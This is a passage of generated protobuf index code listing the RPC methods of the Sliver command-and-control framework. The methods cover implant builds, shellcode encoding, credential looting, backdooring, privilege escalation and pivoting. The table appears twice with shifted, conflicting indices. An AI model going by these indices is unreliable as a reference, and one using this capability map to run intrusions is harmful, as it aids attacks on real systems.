129, // 179: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
130, // 180: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 181: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
131, // 182: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
0, // 183: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
132, // 184: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 185: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
133, // 186: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
0, // 187: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
134, // 188: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
135, // 189: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 190: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
136, // 191: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
135, // 192: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
135, // 193: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
137, // 194: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
137, // 195: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
137, // 196: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
137, // 197: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
137, // 198: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
138, // 199: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
10, // 200: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 201: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
139, // 202: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
11, // 203: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
11, // 204: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
0, // 205: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
140, // 206: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
141, // 207: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
0, // 208: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
142, // 209: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
16, // 210: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 211: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
16, // 212: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
16, // 213: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
143, // 214: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
17, // 215: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
0, // 216: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
0, // 217: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
0, // 218: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
18, // 219: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
17, // 220: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
17, // 221: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
18, // 222: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
144, // 223: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
19, // 224: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 225: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 226: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
145, // 227: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
146, // 228: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
0, // 229: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
146, // 230: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
145, // 231: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
0, // 232: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
147, // 233: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
148, // 234: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
0, // 235: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
30, // 236: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
0, // 237: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
149, // 238: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
150, // 239: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
151, // 240: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo
30, // 241: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
0, // 242: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
0, // 243: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
152, // 244: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
34, // 245: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
0, // 246: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
153, // 247: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
35, // 248: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
0, // 249: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
36, // 250: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
0, // 251: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
0, // 252: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
145, // 253: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
154, // 254: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 255: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
155, // 256: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
156, // 257: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
157, // 258: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
158, // 259: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 260: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
39, // 261: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
159, // 262: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
160, // 263: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
161, // 264: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
162, // 265: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
163, // 266: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
164, // 267: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
0, // 268: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
165, // 269: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
43, // 270: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 271: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
43, // 272: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
43, // 273: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
43, // 274: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
46, // 275: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
166, // 276: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
167, // 277: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
168, // 278: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
169, // 279: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
170, // 280: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
171, // 281: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
171, // 282: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
172, // 283: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
173, // 284: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
174, // 285: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
175, // 286: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
176, // 287: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
177, // 288: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
178, // 289: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
179, // 290: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
180, // 291: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
181, // 292: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
170, // 293: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
182, // 294: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
183, // 295: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
184, // 296: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
185, // 297: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
186, // 298: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
187, // 299: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
188, // 300: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
189, // 301: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
190, // 302: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
190, // 303: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
190, // 304: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
191, // 305: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
192, // 306: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
193, // 307: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
193, // 308: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
194, // 309: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
195, // 310: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
196, // 311: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
197, // 312: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
198, // 313: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
199, // 314: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
200, // 315: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
201, // 316: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 317: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
202, // 318: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
203, // 319: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
200, // 320: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
200, // 321: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
200, // 322: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
204, // 323: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
205, // 324: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
206, // 325: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
207, // 326: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
208, // 327: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
209, // 328: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
210, // 329: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
211, // 330: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
212, // 331: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
213, // 332: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
214, // 333: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
215, // 334: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
216, // 335: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
217, // 336: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
218, // 337: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
219, // 338: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
220, // 339: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
219, // 340: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
111, // 341: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 342: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
221, // 343: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
222, // 344: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
223, // 345: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
224, // 346: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
225, // 347: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
226, // 348: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
227, // 349: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
227, // 350: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
228, // 351: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
228, // 352: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
229, // 353: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
230, // 354: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
231, // 355: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
232, // 356: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
127, // 357: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 358: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
128, // 359: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
129, // 360: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 361: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
130, // 362: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
30, // 363: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
182, // [182:364] is the sub-list for method output_type
0, // [0:182] is the sub-list for method input_type
126, // 174: rpcpb.SliverRPC.ShellResize:input_type -> sliverpb.ShellResizeReq
127, // 175: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
128, // 176: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
128, // 177: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
129, // 178: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
130, // 179: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
130, // 180: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
131, // 181: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 182: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
132, // 183: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
0, // 184: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
133, // 185: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 186: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
134, // 187: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
0, // 188: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
135, // 189: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
136, // 190: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 191: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
137, // 192: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
136, // 193: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
136, // 194: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
138, // 195: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
138, // 196: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
138, // 197: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
138, // 198: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
138, // 199: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
139, // 200: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
10, // 201: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 202: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
140, // 203: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
11, // 204: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
11, // 205: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
0, // 206: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
141, // 207: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
142, // 208: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
0, // 209: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
143, // 210: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
16, // 211: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 212: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
16, // 213: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
16, // 214: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
144, // 215: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
17, // 216: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
0, // 217: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
0, // 218: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
0, // 219: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
18, // 220: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
17, // 221: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
17, // 222: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
18, // 223: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
145, // 224: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
19, // 225: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 226: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 227: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
146, // 228: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
147, // 229: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
0, // 230: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
147, // 231: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
146, // 232: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
0, // 233: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
148, // 234: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
149, // 235: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
0, // 236: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
30, // 237: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
0, // 238: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
150, // 239: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
151, // 240: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
152, // 241: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo
30, // 242: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
0, // 243: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
0, // 244: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
153, // 245: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
34, // 246: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
0, // 247: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
154, // 248: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
35, // 249: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
0, // 250: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
36, // 251: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
0, // 252: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
0, // 253: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
146, // 254: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
155, // 255: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 256: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
156, // 257: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
157, // 258: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
158, // 259: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
159, // 260: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 261: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
39, // 262: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
160, // 263: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
161, // 264: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
162, // 265: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
163, // 266: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
164, // 267: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
165, // 268: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
0, // 269: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
166, // 270: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
43, // 271: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 272: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
43, // 273: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
43, // 274: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
43, // 275: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
46, // 276: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
167, // 277: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
168, // 278: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
169, // 279: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
170, // 280: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
171, // 281: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
172, // 282: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
172, // 283: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
173, // 284: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
174, // 285: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
175, // 286: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
176, // 287: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
177, // 288: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
178, // 289: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
179, // 290: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
180, // 291: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
181, // 292: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
182, // 293: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
171, // 294: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
183, // 295: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
184, // 296: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
185, // 297: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
186, // 298: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
187, // 299: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
188, // 300: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
189, // 301: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
190, // 302: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
191, // 303: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
191, // 304: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
191, // 305: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
192, // 306: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
193, // 307: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
194, // 308: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
194, // 309: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
195, // 310: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
196, // 311: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
197, // 312: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
198, // 313: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
199, // 314: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
200, // 315: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
201, // 316: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
202, // 317: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 318: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
203, // 319: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
204, // 320: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
201, // 321: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
201, // 322: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
201, // 323: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
205, // 324: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
206, // 325: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
207, // 326: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
208, // 327: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
209, // 328: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
210, // 329: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
211, // 330: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
212, // 331: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
213, // 332: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
214, // 333: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
215, // 334: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
216, // 335: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
217, // 336: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
